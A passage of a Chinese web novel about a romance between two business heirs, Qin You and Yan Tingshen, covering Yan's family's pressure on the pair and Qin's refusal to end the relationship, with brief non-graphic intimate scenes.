康明敛目低头,温润有礼的脸上渐渐露出一丝尴尬:“对不起,我——”
“可以。”
秦游放下热毛巾,“你原本就是我的弟弟。”
康明握紧的手轻轻一颤。
秦游看着他的反应,稍有些意外。
也是。
人会相似,却不会完全相同。
在相似的环境,作为相似的外来者,他从不把注意力放在环境本身,也并不打算经营关系。
但让一切浮于表面,看来不是康明的选择。
对“家人”还有期待,对“亲情”还有向往——
难怪。
秦恒钟会放心他来辅佐。
秦游扫过康明的眼睛。
这样一个人,实在很好利用。
可惜,对他用处不多。
“吃饭吧。”
秦游只说,“其他的,以后再谈。”
康明顿了顿,点头说:“好。”
之后一顿饭吃完,秦游带人回了公司。
看到两人一起出现,公司上下表面安静。
不到半小时,敲门走进总经理办公室的崔凌都流露出欲言又止。
秦游一概没去理会。
饭过中旬起,他就时不时接到余宁打来的电话。
从上午到现在,他在余宁的所有项目,同时出了问题。
显而易见,事故是人为。
这一点,他并不意外。
严家和他毫无关联,下手也会毫无顾忌,何况动手抹去一点和秦家无关的微薄资产,既是警告,也是威胁。
他意外的是。
这些事故发生得来势汹汹,又在短时间内,被解决得悄无声息。
最终带来的麻烦,大部分是对员工造成的心理压力,而没有实质性的危机。
所以直到中午,几个负责人才总结了情况,打来电话向他汇报。
秦游看着员工发来的邮件。
他没看完。
答案早已经摆在心底。
记恨他的人有很多。
会这样“保护”他的人,却只有一个。
第 98 章 我和你一起洗。
钧闵。
总裁办公室。
裴笙看向桌后正假寐的严庭深, 汇报完进度,一时也不知道该说些什么。
从早上开始,到现在——
这可能是他自认识严庭深以来, 对方最忙碌的一天。
外人来看, 这也很正常。
毕竟还有一场硬仗要打。
昨天严老刚得知庭深和秦游在一起,严经山今天突然上位副总裁,一向各自为政的几位严总也纷纷有了动作, 大大小小的问题几乎源源不断地冒了出来。
所幸对于这些,庭深好像早有预料, 问题发现之初, 一应措施就全部下发传达, 还有余力, 借机顺理成章拿下严经山为刁难而刻意叫停的两项合作。
所以上午时, 连他都听到几句风言风语;到了下午, 公司上下又归于风平浪静。
只有严庭深, 看起来却比上午更忙。
裴笙沉默良久, 也只去换了杯水。
他知道严庭深在忙什么。
正因为知道是什么, 他更无话可说。
章铭上午还在问他, 就这么一点资产, 也值得严总全程亲力亲为?公司的事都没见严总这么上心啊。
事后得知和秦游有关,章铭也是一样沉默。
是啊。
任谁都看得出来,事关秦游, 不论轻重缓解,在严总眼里,甚至比钧闵更重要,且重要得多。
当然,需要庭深亲自出手才能解决的麻烦, 裴笙很清楚,这背后一定和严老有关。
但庭深之所以忙碌,不止是为解决麻烦,最重要的一个原因,是解决麻烦的方式。
工作效率是严庭深最看重的基础。
处理问题要简单高效,也是总裁办的一贯方针。
然而今天,帮秦游处理麻烦,以庭深的能力,可以有无数高效的方案随便挑选,最后用的,却是最无效率可言的一种。
看重的基础,也从变成无痕。不仅要快,更要做到无迹可寻。
即,秦游看不出麻烦,也看不出有人帮他解决了麻烦,就当一切都没发生过。
以至于这么普通的问题,也变得复杂起来。
为这一点,庭深亲自操刀,层层把关,确保万无一失。
可是,真的能万无一失吗。
裴笙低头看着文件里的内容。
以他认识的秦游,绝不是资料里的一无所知。
即使一切天衣无缝,把麻烦变成意外。
可意外这么多,来得这么巧,总归是破绽。
秦游今天不会发现,明天、后天、将来呢?
这么简单的道理,严庭深,这个从小不知比他缜密多少的人,会想不到吗?
这时。
门外响起敲门声。
严庭深睁眼:“进。”
章铭推门进来:“严总,这是您要的资料。”
提起正事,裴笙也很快坐定。
但不出所料,对方发现庭深重视后,下手更有力度了。
裴笙看向严庭深,又垂眼去看资料。
再这样下去,想瞒,也瞒不住了。
—
下午五点。
秦氏大楼。
秦游下楼还没上车,接到严庭深打来的电话。
电话接通,对面却没传来声音。
秦游先开口:“还在加班?”
严庭深道:“嗯。”
他说,“你回去不用等我,累了就先休息。”
秦游抬腕看表,不由意外:“你要加班到几点?”
按严庭深给出的七成把握,即便被为难,也不该第一天就应对得这么狼狈。
严庭深说:“还不确定。”
秦游问他:“很棘手?”
严庭深说:“没——”
“不要逞强。”
秦游直言说,“我可以帮你。”
闻言,严庭深握着手机的手微微松缓:“不用。我知道你不喜欢应付这些。”
正因为秦游不喜欢应付,这句毫不犹豫的提议,才显得弥足珍贵。
秦游道:“特殊情况,该特殊对待。”
“真的不要紧。”
严庭深说,“发展目前都在可控范围内,如果有需求,我会告诉你。”
秦游无奈:“那你看着办吧。”
话落,他也没追问,只转而说,“对了,有件事——”
“等我回家再聊吧?”
严庭深突然打断了他,“抱歉,我马上有个会。”
秦游道:“也好。你先开会吧。”
既然严庭深在忙正事,他也没去打扰,挂断电话,上车回了苍苑。
年后难得独自吃了一顿晚饭,秦游洗漱后去了书房。
在公司不方便处理,回到家里,他把今天的情况罗列整合,已经能看出其中的凶险。
尤其到下午,如果不是有人及时出手,他留在余宁的资金链势必全部断裂。
但这么严重的问题,几个负责人反而没注意到,还在为上午的问题做后续分析。
由此可见,也许还有其他事故,因为没被注意,根本没机会传达到他手上。
秦游往下翻看,眸光微深。
他可以肯定,帮他的人就是严庭深。
但做这样多此一举的遮掩,为什么?
秦游思绪游转,片刻,随手关了电脑,回到卧室。
直到入夜十点,他倚在沙发正看新闻,听到开门声响起,转眼看过去,正和严庭深对视。
严庭深动作微顿,合起房门:“还没睡?”
“我在等你。”
秦游往他身后看了一眼,“藏什么呢?”
严庭深抿唇,转身时,露出手上简单的一束红玫瑰:“不是藏。”
他带着玫瑰花到秦游身前,递过去时,俯身吻在秦游唇上,“以后我会尽量准时下班。”
秦游失笑,接过花,也吻在他唇边:“不准时要怎么样?”
严庭深看他一眼:“你想怎么样,都可以。”
秦游正挑眉。
严庭深站直起身,走向浴室。
看着他的背影,秦游再看手里的玫瑰,又笑了笑,也起身走到桌前,把花插进花瓶,放在床边。
没过太久,严庭深从浴室出来。
秦游靠在床头,听到动静,转眼看过去,抬手在身旁轻拍:“过来,聊聊。”
严庭深先看他,又看到他身后床头柜上的花瓶,脚下不停,径直走到床边。
秦游看着他动作,等他坐稳,正要开口,身旁向来神色冷淡的恋人忽地又倾身靠近。
“……”熟悉的触感从胸膛划到小腹,秦游隔着被子按住这只肆无忌惮的手,看向严庭深近在眉睫的脸。
严庭深迎着他的目光,垂眸吻住他的嘴唇。
湿热辗转的吻良久停歇,秦游扣住严庭深的后脑,翻身把人换到身下,声音不觉低沉:“我有话跟你说。”
薄被下,翻卷起伏不断。
严庭深凝眸看着秦游的双眼,听到他的声音,才道:“专心点。”
秦游呼吸微微粗重,闻言轻笑:“这句话,昨晚怎么不说?”
严庭深不语,又抬手按在他颈后,倾身吻住他压下的唇。
“……”
逐渐灼热的气息持续良久,堪堪停歇,秦游看到床上凌乱的斑驳痕迹,只能起身再去一趟浴室。
不多时,浴室房门又开合。
氤氲的薄雾里,听到脚步声,秦游没有回头。
“你怎么进来了?”
严庭深的声音如常平淡。
“我和你一起洗。”
秦游微顿,转身看过去。
严庭深往前迈近最后一步——
滚烫的肌肤相亲,水流仿佛转瞬升温。
严庭深面不改色,指腹缓缓擦过秦游的喉结,压低的嗓音在平淡中沙哑:“……省得再洗一次。”
水声依旧。
黏腻暧昧的轻响被克制的喘息掩盖,几乎悄无声息。
“……”
再过良久,秦游和严庭深再从浴室出来。
已经是深夜,再让人来换床具显得大张旗鼓,秦游索性直接揭了床单。
两人一起在床上躺下,没等秦游开口,严庭深先吻过秦游眼睑:“晚安。”
秦游看着他闭眼,无奈捏在他侧脸:“晚安。”
不知多久过去。
听到耳边的呼吸渐渐绵长,严庭深睁眼。
昏暗里,他看着眼前熟悉的轮廓,久久,才重闭双眼,在熟悉的气息里徐徐入睡。
—
次日。
秦游再醒来,看见严庭深已经穿戴整齐。
他起身下床。
严庭深也绕过床尾,到他身旁。
“早。”
严庭深说着,在他唇上点过,“今天没时间陪你吃早餐,抱歉。”
秦游深深看他:“身体要紧。别太累。”
严庭深有意转移话题,第一次在电话里没察觉,昨晚却不言而喻。
严庭深只当没听懂,颔首道:“你也是。”
秦游摇了摇头,洗漱后下楼吃了饭,也坐车去了公司。
但正事还没处理,内线电话先响起来。
彭颖请示:“秦总,钧闵集团的严兴钧严董秘书来电,说要请您听电话。”
崔凌站在办公桌前,听到这个名字,脸上赤红黄绿青蓝紫,最后复杂地看了二世祖一眼。
二世祖丝毫没有惊慌,显得从容异常。
“接进来。”
电话接通,崔凌默默退了出去。
秦游拿起电话,听到对面传来一道夹杂着气虚喘息的苍老声音。
“小秦总,你好,我是严兴钧。”
第 99 章 只要他喜欢,我的一切,……
中午十一点半。
崔凌和司机确认过, 再看向正穿外套的秦游,不禁犹豫着说:“小秦总,你确定要单独过去?”
秦游道:“嗯。”
他看了崔凌一眼, 接过助理递来的手机, “我会很快回来。”
和严兴钧之间的这场谈话,注定不会太久。
听他这么说,崔凌也不再多说, 转身送他出了门。
秦游下楼上车,在约定的时间, 准时来到福中路。
“秦先生。”
秦游下车先看到迎上前来的男人。
六十岁上下, 短发花白, 穿着简单利落的中山装, 年纪虽然大了, 行走间脊背还很笔挺, 神情肃穆。
姚洪。
资料里注明, 是严兴钧十分信任的管家。
姚洪说着话, 抬手往门内示意:“请。”
秦游走在他身后, 一路打量房子里的陈设。
非常传统的古典结构, 秩序和威严并存, 也透露出主人的性格。
原文里,原身没能存活到严兴钧出场,所以对这位严庭深的祖父, 他的了解并不多。
“老爷在书房等您。”
闻言,秦游收回视线,对身后项海峰示意,独自拐进走廊,来到书房门前。
他敲了门, 门内很快传来严兴钧的声音。
“请进。”
秦游推门走进书房,先看到对面一面墙壁的落地窗。
窗外视野开阔,一眼望见的人工湖边风景秀丽,非常缓解心情。
严兴钧拄着手杖站在窗前,也是一套笔挺的中山装,久病休养,背影却并不佝偻,反而沉定庄严。
听到秦游进门,他没有回头,只说:“你真的一个人过来,不得不说,我很惊讶。”
秦游关了房门,走到他身后,笑说:“长辈的交代,我想,还是遵守比较好。”
“哦?”
严兴钧才转眼看向秦游,目光从上到下把他审视一遍,才问,“你口中的长辈,是指我和你祖父之间的交情,还是其他?”
秦游笑意不改:“那要看您今天让我过来,是为您和我祖父之间的交情,还是其他。”
严兴钧看着秦游。
片刻,他咳了两声,摆手示意:“先坐吧。”
秦游到沙发前,和他相对而坐。
严兴钧说:“庭深在加班?”
秦游道:“对。”
严兴钧冲洗着茶具:“你很聪明,应该猜得出,他为什么加班。”
秦游未语。
严兴钧抬头看他:“对这件事,你怎么想?”
秦游轻笑:“不论如何,那是他的选择,也是他的决定,我无权干涉。”
“无权干涉。”
严兴钧细品这四个字,也笑了一声,“你太小看自己了。”
他低头泡茶,没有抬头,“庭深告诉我,只见你一面,我一定会对你改观。他说对了。”
秦游抬手接过他递来的茶杯。
“我对你很感兴趣。”
严兴钧看着他,“你有能力,也有需求,却不愿意接手秦氏,见你之前,我以为你一定性格懦弱,不堪大用,才始终不敢胜任——”
系统听了,破口大骂:【这个病歪歪的糟老头子,破坏别人感情就算了,还对着宿主你指手画脚,他算什么,以为自己是主角吗,小心主角大义灭亲——】
“没想到,你和我料想的性格完全相反。”
严兴钧说,“这让我更好奇,你为什么不愿意接班?”
系统顿时偃旗息鼓。
秦游道:“人各有志。也许,我正是您料想中的性格。”
“人各有志?”
严兴钧眼神一闪,“这么说,余宁才是你的志向?”
秦游早猜到余宁的麻烦和他有关,语气不变:“您要这么想,也可以。”
“那在你心里,庭深和你的志向比起来,”
严兴钧盯着他,又咳了几声,这句话问得似乎云淡风轻,“孰轻孰重?”
秦游眸光微动,反问一句:“您的意思是?”
“庭深让我见你一面,他说对了。”
严兴钧放下茶盏,笑着说,“还有一句话也很对。你的喜欢,相比起来,比他要浅。”
秦游微蹙起眉。
“你想在余宁白手起家,秦恒钟那个老家伙不会同意,但有我帮你,你的阻力会减少太多,严家上下,也不会有人再为难你。”
严兴钧不再拐弯抹角,他看着秦游的双眼,语气毫无转圜,“我的要求只有一个,对你而言应该非常简单。和他分手。”
秦游道:“同样的要求,您对他也提过。”
严兴钧说:“要求相同,人却不同。”
秦游失笑:“您认为,我的答案会和他不同。”
严兴钧不置可否。
见到秦游的第一面,他就明白,以庭深的性格,怎么会陷进一段可笑的感情。
毫无疑问,秦游的条件具备吸引庭深的资本。
和严庭深不欢而散后,他重新仔细看了对秦游的调查报告。
秦游在余宁的产业,除去一千万的启动资金来源不明,其余可以确定没有动用任何秦氏的资源,可在这么短的时间,已经迅速有条不紊地打开局面。
计划周全,出手果断,因地制宜,随机应变,乃至关键决策没有半点失误,每一步都踩得又准又狠,能做到这一点,严家也只有庭深做得到。
这样的人,对手、或朋友,庭深大约从没遇见。他也没有。
哪怕从秦恒钟口中确定,秦游的确回国不久,他也难以相信,秦游连实地都几乎没去考察,怎么可能顺风顺水。
是实力,还是运气,有时候其实很难分清。
但这次见面,就像他说的,他排除了那个懦弱无能的选项。
谈吐可以伪装,真正的底气却不能。
最简单的例子。
提起余宁的产业,秦游可以漫不经心,庭深却竟然做不到。
归根结底,庭深没有底气,也不能笃定,二者之间,秦游究竟会选谁。
而在他面前,秦游明知会发生什么,依旧独自赴约,依旧谈笑风生,这样的人,绝无可能懦弱。
况且,秦游想脱离秦家,想离开京启,这是既定事实,秦游也已经为此着手规划,且显然,和庭深在一起,不足以让他放慢脚步。
这样一个人,他的理智强势,也印证他的利己绝情。
庭深的反应更证明这一点。
连严庭深自己都在担心,又怎么会不是事实。
另外——
严兴钧又看向秦游那张拈花惹草的脸。
能让庭深泥足深陷,这张脸不知道占几成作用。
秦游道:“我想知道,您为什么会有这样的误解?”
“误解?”
严兴钧双眼微眯,“你的意思是,你也要拒绝我的提议?”
秦游笑说:“我没有不拒绝的理由。”
严兴钧也笑了。
这一次,他的笑多出几分玩味:“如果我猜得没错,庭深应该至今没告诉你,你在余宁的产业,这两天正岌岌可危。”
秦游颔首:“没错。他没告诉我。”
严兴钧看出这句话里无动于衷。
而这样的反应,和他的猜测没有一处吻合:“你不介意?”
秦游笑说:“我不介意。”
严兴钧皱眉:“你不在乎?”
“我不知道您对他说了什么,但我希望您知道,”
闻言,秦游抬手倒了一杯茶,送到严兴钧面前,才接着说,“只要他喜欢,我的一切,他可以随意支配。”
话谈到这,态度已经明朗。
严兴钧看过面前轻晃的茶,再看秦游,眼神渐冷:“包括你的志向?”
秦游笑了笑:“不论您指什么,那不是我的志向。即便是,他也不会干涉。”
严兴钧皱眉:“你说出这句话,是自信他离不开你,还是自信他会度过这次难关?”
秦游道:“我是自信,足够了解他。”
听到这句话,严兴钧冷笑一声:“他应该也没告诉你,他如今自身难保,更别提护住你。”
秦游道:“您应该更明白,我并不需要他保护。”
“很好。你们都很好。”
严兴钧冷冷说着,“但如果你是真的为了他好,就不该让他陷入今天的境地。没有你,他本来会顺利继承钧闵,而不是被群起攻之,连总裁的位置都保不住。”
秦游笑道:“如果连总裁的位置都保不住,您今天恐怕不会和我见面。”
计划顺利,没有人会节外生枝。
只有进展出现问题,才会选择另辟蹊径。
严兴钧脸色微沉,半晌无言。
喝过半凉的茶,他重看秦游,语气反而平静:“钧闵是他从小到大唯一的目标,他为此付出的心血,你应该想得到,现在,我最后问你,你要为了所谓的爱情,宁愿他众叛亲离,失去所有?”
不等秦游回答,他又补充,“你要考虑清楚。你很明白,这件事,不是做不到。”
“我说过,”
秦游和严兴钧对视,神色不改,唇边笑意仍然浅淡,“他的选择,他的决定,我无权干涉。”
第 100 章 我只想选你。
“你说什么?”
会议室内鸦雀无声。
章铭低头看文件, 没敢去看正接电话的严庭深。
在座其余诸位也都屏气敛息,各自猜测着严总到底从来电里得知了什么消息。
不多时,裴笙带着资料从门外进来, 看到会议室内异常安静的众人, 再看从桌前起身的严庭深,他顿了顿,意识到什么。
果然。
下一秒, 他听到严庭深开口。
“余宁的工作,你去接手。尽快解决。”
尽快?
裴笙一怔, 还没来得及确认, 身旁挺拔的身影已经越过他, 走向门外。
对方行走间带起的微风轻轻掀起他手里打开的纸页, 也带着曾经绝不会属于严庭深的一丝急切。
而这种情绪, 永远只因为一个人。
裴笙看着严庭深的背影, 想到刚才他说的那句话。
尽快解决。
余宁发生的事, 不打算瞒下去了吗?
还是, 秦游已经知道了?
“裴总?”
裴笙想了想, 回头对众人打个手势, 快步追上严庭深, 问他:“严总,余宁那边,要不要和小秦总通个气——”
“先解决。”严庭深沉声打断了他的话, “再谈其他。”
闻言,裴笙下意识住脚。
严庭深始终没有看他,径自往前,在屏幕上打下几个字,又全部删除, 沉眸拨出一通电话。
“……”
—
通话另一端。
书房内,仿佛平静的沙发前,一阵铃声突然响起。
秦游拿出手机,原本打算挂断,看到来电显示,只好对严兴钧致歉示意,起身出门,接起电话。
“……”严庭深的声音沉默着,一秒后才问,“你在福中路?”
秦游关了门,笑说:“这你都知道?”
严庭深握紧手机:“你还好吗?他有没有为难你?”
秦游道:“不要多想。严老只是请我过来喝杯茶。”
严庭深却追问:“他说了什么?”
秦游听出他还在多想,言简意赅:“当然是希望我和你分手。”
“……”严庭深倏地停步,“你……”
秦游轻笑:“放心。我没答应。”
严庭深抿唇。
秦游补充:“所以老爷子现在有点上火,你就别过来火上浇油了。”
严庭深停在原地,片刻,才道:“我去接你。”
秦游道:“不用麻烦,我的车就在门口。”
严庭深又是片刻沉默:“秦游,你……”
“我什么?”
听不到他的后话,秦游笑说,“难道你觉得我会被几句话离间?”
严庭深说:“……我不是这个意思。”
秦游挑眉:“那你在担心什么?”
听到听筒里又是久久无言,他又笑一声,“我们的事,晚上回家再聊。现在,严总,回去上班吧。”
“……”严庭深道,“今晚我会准时下班。”
秦游作势不解:“今晚不用加班?”
严庭深道:“……不用。”
不等秦游再开口,他说,“下午五点,我去你公司楼下接你。”
秦游没有拒绝:“好。”
之后聊了两句挂断电话,他开门回到书房。
严兴钧还在原位,看到人回来,也早已失去谈话的兴致。
如果早知道秦游同样是个冥顽不灵的呆子,今天不会有这次见面。
甚至比起严庭深,秦游的顽固更入木三分。
对这种连家族企业都毫不在乎的散漫浪子,除非和那个老家伙撕破脸皮,给秦游一个教训,否则他的确拿秦游没有办法。
但为此付出这个代价,得不偿失,也没有必要。
严兴钧冷冷看了一眼秦游,一句话也没再多说,抬手端起茶杯,不轻不重地咳了两声。
秦游会意,含笑道别。
他转身出门,离开福中路,回了秦氏大楼。
到下午四点五十五。
手机响起一声消息提示音,秦游抬腕看表。
崔凌自觉住嘴,只是他还没走人,秦恒钟从门外走了进来。
看到秦游一副下班的模样,秦恒钟皱起眉头:“还没到下班时间,你急什么?”
秦游点了点腕表:“不好意思,有人等。”
听到这句话,秦恒钟黑着脸,来时准备的说辞尽数作废。
能和秦游有约的人,不用想也知道是谁。
他看向秦游的背影,又皱眉问崔凌:“今天秦游没出去?”
这点行程,总经办的秘书人人都知道,崔凌没有隐瞒:“中午小秦总出去过一次,不过上班时间就回来了。”
秦恒钟又问:“回来的时候,脸色怎么样?”
崔凌回想:“没有怎么样,就是和平常一样。”
秦恒钟听着,皱眉更深。
见了面,还和平常一样。
严兴钧这个老东西,他也不中用啊。
秦恒钟想着,又看向门外。
秦游的背影已经消失在拐角。
电梯下行的间隙,秦游回复严庭深发来的消息……:先吃饭吧,我订了你喜欢的餐厅。
秦:好。
没多久,电梯门开。
秦游出来,隔得还远,就看到立在车前的身影。
下一刻,那道身影迎了过来。
秦游笑眼看他,随手牵过他,回到车边:“怎么不下了班再过来?”
严庭深道:“不要紧。”
他转眼去看秦游的脸色,一时也没再说什么。
秦游也没点破。
之后两人上了车,很快来到餐厅。
但一顿饭吃完,再回到苍苑,除了闲聊,严庭深一句题外的话都没说过。
直到上楼洗漱后,秦游在床上躺下,关了灯,终于听到身后传来一句。
“你今天,没有话要问我?”
秦游道:“有些话,取决于你想不想说。”
严庭深抬手按在他肩膀。
秦游转身,在昏暗里看到身旁的轮廓。
严庭深垂眸:“对不起。不论如何,你名下的项目出问题,我不该瞒着你。”
昨晚就该聊起的话题,秦游今晚才问出口:“为什么瞒着我?”
从下午和严兴钧见过面,项目上大大小小的问题没人再掩盖,接二连三暴露出来,负责人早已经焦头烂额,好在依旧都是“虚惊一场”,才不至于真的出现纰漏。
他知道严庭深调整了策略。
不过听起来,似乎调整得不太情愿。
严庭深抿直薄唇。
他反问:“余宁的项目是你的心血,现在被牵连,发展会比之前困难百倍,你不担心吗?”
秦游道:“担心。”
严庭深掌下微紧,抬眼看他。
“但这些预期的风险是注定的,困难又算得了什么。”
秦游抬手按在他手背,“没有谁的人生能一帆风顺,即便你自己,一路走来,就一定事事如意吗?”
严庭深感受着手背传来的暖意,轻轻反手握紧。
他看着秦游的眼睛,又问:“如果不是困难——如果一段时间内,你名下的项目,只要脱离秦氏,就会失败,你也不能摆脱他们的纠缠……你会后悔吗?”
秦游听完,笑了一声:“所以,这就是严老跟你说的话。”
严庭深眸光微闪。
秦游问他:“你认为我会怎么选?”
严庭深却避开视线,只说:“你答应过我,不论遇到什么麻烦,都不会离开。”
秦游看着他的反应,没多久,正要转身。
然而刚有动作,严庭深已经察觉。
他加重力道,又按在秦游肩侧,随即倾身靠近。
窸窸窣窣间,他沉声问:“你要走?”
被压在原地,秦游无奈:“开灯。”
璀璨的灯光应声亮起,严庭深蹙眉微闭双眼,埋首在秦游颈侧。
秦游扣在他脑后,再抬手调整灯光,才道:“我觉得我们有必要好好谈谈。”
闻言,严庭深起身的动作顿住,按在秦游肩膀的手紧了又松:“你想谈什么?”
秦游顺势把人搂进怀里,吻了吻他额头:“首先,要谈你为什么不信任我。”
耳边传来的声音带着无可忽略的笑意,严庭深终于抬头,正对上那双桃花眼。
秦游和他对视,眉峰微挑。
严庭深侧过脸:“我不是不信任你——”
“你不仅仅是不信任我。”
秦游深深看他,“你认为我会临阵脱逃,还在质疑我的人品。”
“这和你的人品无关。”
话已至此,严庭深也不再遮掩,“秦游,我从没有怀疑过你。但事关你的未来,也关乎你的自由——”
他说着,不知想到什么,语气渐渐淡然,“不论你怎么选,留还是走,我尊重你的决定。”
秦游等他说完,才问:“既然如此,项目出事,你何必要瞒我?”
“……”严庭深呼吸微滞,一言未发。
秦游再问一句:“又为什么让我承诺,绝不离开你。”
“……”严庭深回抱住他,薄唇贴在他颈侧的脉搏,在说话间亲吻他平缓的心跳,“那个时候,我还没考虑清楚。”
“考虑什么?”
秦游转眼只看到他的侧脸,也没在意,轻声说,“如果你信任我,就该明白,既然我答应和你在一起,就一定了解和你在一起会经历什么。在你眼里,我连这点抗压的能力都没有?”
严庭深说:“即便和我在一起,你的底线和原则要一再让步?”
秦游笑了笑:“你想多了。”
“是吗。”
严庭深说,“你要告诉我,你不想离开京启、离开秦家,不想离开这种追名逐利的环境,也不想过轻松平淡的生活吗。”
秦游微顿。
他的确曾经和严庭深提过离开,但也只一次而已,没想到严庭深会记得这么清楚,还这么精准猜到他的想法。
严庭深把他的沉默当作默认,也停顿片刻,才接着说:“你在余宁置办资产,我知道,是在为这件事做准备。”
闻言,秦游抬手按在严庭深肩膀,原本想拉开距离,箍在腰背的双臂却越收越紧。
严庭深说:“秦游,你要走,我尊重你的决定。”
“你——”
“因为,”严庭深打断了他,“我会陪你一起。”
秦游按在严庭深肩膀的手又顿住。
严庭深的嗓音一贯沉峻,语气也如常沉稳:“我会放弃钧闵的继承权。”
秦游皱起眉头:“你说什么?”
“既然在一起,就一定了解会经历什么。”
严庭深重复他刚才的话,稍稍松手,转脸和他对视,语气不变,神情冷静异常,“那么,凭什么让你放弃理想,而我坐享其成。”
对上这道眼神,秦游眉间的痕迹消解,略显无奈:“别说傻话。”
严庭深不是上辈子的他,钧闵集团对严庭深而言,也不是负担,是势在必得的战果。
放弃秦氏,和放弃钧闵,意义截然不同。
严庭深曲肘压在秦游肩侧,半起身时,低头看他:“现在,是你不信任我。”
秦游笑说:“好,我信你。只是我劝你,不要这样做。”
“鱼与熊掌不可兼得。”
严庭深抬手落在秦游侧脸,拇指轻抚,擦过他下唇,“你和我都是生意人,该懂得取舍。”
秦游扣住他作乱的手,笑意不减:“你的取舍,就是打算和我浪迹天涯?”
严庭深淡淡说:“怎么取舍,是我的选择。”
听到这两个字,秦游眸光微动。
严庭深话落,正俯身,闭眼吻在他唇上。
“秦游,我只想选你。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
100-108
第 101 章 从此以后,目光流转,……
室内满是静谧。
秦游看着严庭深闭紧的双眼, 也抬手,握住他下颚,含笑任由他加深这个轻柔坚定的吻。
良久, 严庭深重又起身。
秦游看着他缓缓拉开距离的脸, 看他轮廓分明的眉眼,最后落进他始终没有移开的眸光,轻声问他:“这是你考虑清楚的结果?”
严庭深说:“嗯。”
秦游道:“你应该知道, 如果你放弃钧闵,在国内没有翻身的余地。”
严庭深面色不改:“我知道。”
秦游道:“你也知道, 即使我们去国外重整旗鼓, 短期内, 也绝不可能达到你今天的成就。”
严庭深眸光微深:“你想说什么?”
秦游食指摩挲着他颈侧:“甘心吗?”
“不甘心。”
严庭深看着他, “但风险是注定的, 困难又算得了什么。”
闻言, 秦游唇角轻挑, 不由笑了一声。
听到他的笑声, 严庭深唇边也勾勒起微不可查的弧度:“人生不如意十之八|九, 即便是我, 也不可能一帆风顺。”
秦游笑说:“你差点把我说服了。”
严庭深眉间稍动:“差点?”
见他要起身, 秦游松手往下,按在他腰后,把人按在身旁扣紧:“听我说完。”
严庭深沉眸看他, 搭在他肩颈的手也在往下——
秦游再扣住这只手,语带警告:“谈正事,别乱来。”
严庭深俯身逼近:“什么正事?”
“……”秦游噙笑吻过他靠近的唇,接着说,“你的方案介绍完了, 我的方案,你不想听一听?”
严庭深动作顿住:“你的方案?”
“你刚才问我,会后悔吗。”
秦游正色,“确实,仔细想想,这段时间,我被迫回公司上班,私人空间被严重侵占,原本的计划也全部破产——”
倏地,秦游话音止住,肌肉微紧。
他往下扫过,再抬眼对上严庭深幽沉如墨的双眸,薄唇抿起笑意。
严庭深面无表情,语气低沉,意有所指:“还有呢?”
要害受制,秦游从善如流,对他说:“还有,多出了一个你。”
严庭深绷紧的脊背悄然放松。
他又问一句:“……还有呢?”
“还有,”
秦游又笑说:“我发现,有你就够了。所以,我不会后悔。”
严庭深神色不改,胸膛里擂鼓似的心跳却不甘平静,“砰砰”作响。
“没错,我说过,我打算离开京启,希望余生过得普通平凡。”
秦游看着他,“也没错,我在余宁置办的资产,是为这件事准备。”
严庭深说:“但是?”
秦游笑了:“对。但是。”
他揽着严庭深腰身,相近的体温彼此传递,滚烫得酥痒,“但是计划的未来不是现实,经历才是。”
严庭深垂眸:“你从没放弃余宁的资产。这个计划,是你期待的现实。”
秦游掌下轻拍,示意他抬头:“看着我。”
严庭深依言和他对视。
“期待的现实,不代表我要它立刻实现。”
秦游告诉他,“等到一切尘埃落定,我想去余宁,想去任何地方,随时都能出发,不是非现在不可。”
听到这句话,严庭深心念轻动。
秦游看到他的眼神,知道他已经恢复理智:“何况你放弃钧闵,也少不了明枪暗箭,到时候我们腹背受敌,比留下更受掣肘,岂不是赔了夫人又折兵?”
严庭深沉默片刻,转而道:“他们不会对你造成影响。”
“他们现在也没对我造成多大影响。”
秦游挑眉,“我在余宁的产业,全部停工,付出的代价也只是九牛一毛,对我能有多少伤害?”
严庭深沉默着。
“这么简单的道理,你竟然不明白?”
秦游就近看他,不免笑问,“严总,实话告诉我,你的方案从产生到成型,再到考虑清楚,用了几秒?”
严庭深薄唇微抿,一言不发。
“我知道,关心则乱,你只是太顾及我的想法。”
秦游轻叹,“但你不能事事只顾及我的想法。至少,事情发生,你该和我商量,问一问我真正的想法,也免得你胡思乱想——”
他的话被突如其来的吻打断。
一吻结束,秦游抿笑:“好。我不说了。”
严庭深看向他:“等到一切尘埃落定,你……”
“等到一切尘埃落定,就不是离开,是去旅行。”
秦游抬手捏在严庭深颈后,“既然你不嫌累,秦氏也交给你打理,之后再出门,不论去哪,不论多久,我们都在一起。总之,还要回来的。”
其实,这个想法,他不是今天才有。
秦家对他抱有恶意的人,已经被严总送进去得差不多了,剩下的,大约也坚持不了太久。
至于公司,原文里严庭深接收得易如反掌,现在只会更得心应手,他最多当个甩手掌柜,这比只身去余宁更轻松。
严庭深沉沉看着秦游:“你确定,你要等?”
等他掌握钧闵。
等他解决内忧外患。
等一切结束,尘埃落定——
但那一天是什么时候,他也不能给秦游准确的答案。
秦游只笑了笑:“权衡利弊,我的方案,是最可行的一种。”
严庭深欺身又逼近,低头看他:“你不后悔?”
秦游又笑一声,给他一个最简单明了的答案:“我答应的事,我做的决定,我从不后悔。”
闻言,严庭深凝眸注视着近在咫尺的桃花眼。
灯光下,这双含笑的眼睛和初见时相仿,似乎天生饱浸浓情蜜意,深邃流转。
然而此时此刻,桃花眼底只清晰映着他的倒影;
从此以后,目光流转,也只会和他有关。
“砰砰——”
胸膛前震颤的,是秦游的心跳。
“……”
交汇的节奏在耳边鼓噪。
熟悉的体温不断涌入,正在四肢百骸奔腾。
严庭深屏着呼吸:“永远?”
秦游不厌其烦,笑着说:“当然——”
话音没落,他喉结微滚,肌肉又紧,唇边笑意掺进无奈,几乎习以为常:“……你这是什么坏习惯?”
严庭深重重吻在他的下唇,到了唇前,力道却转轻,只剩柔软:“既然是习惯,你应该尽快适应。”
“……适应也要到正事聊完再说。”
秦游说着,再去制止的动作被严庭深侧身拦住,他扣在严庭深腰后的手稍稍用力,嗓音正沙哑,“还不停手。”
逐渐灼热的气息滚过侧脸,严庭深低头看他,顿了顿,又俯身吻住他的唇。
这一次,湿热猛烈的激吻转瞬点燃星火。
“话聊得足够了……”
唇瓣辗转,严庭深手下没停,强行克制的喘息急促火热,他低声说着,“我帮你。”
“……”
秦游的呼吸也在悄然沉重。
不多时。
他眼底渐深,按在严庭深颈后,抬膝顶进严庭深腿间,手上用力,两人上下翻转。
“……”
春夜正浓。
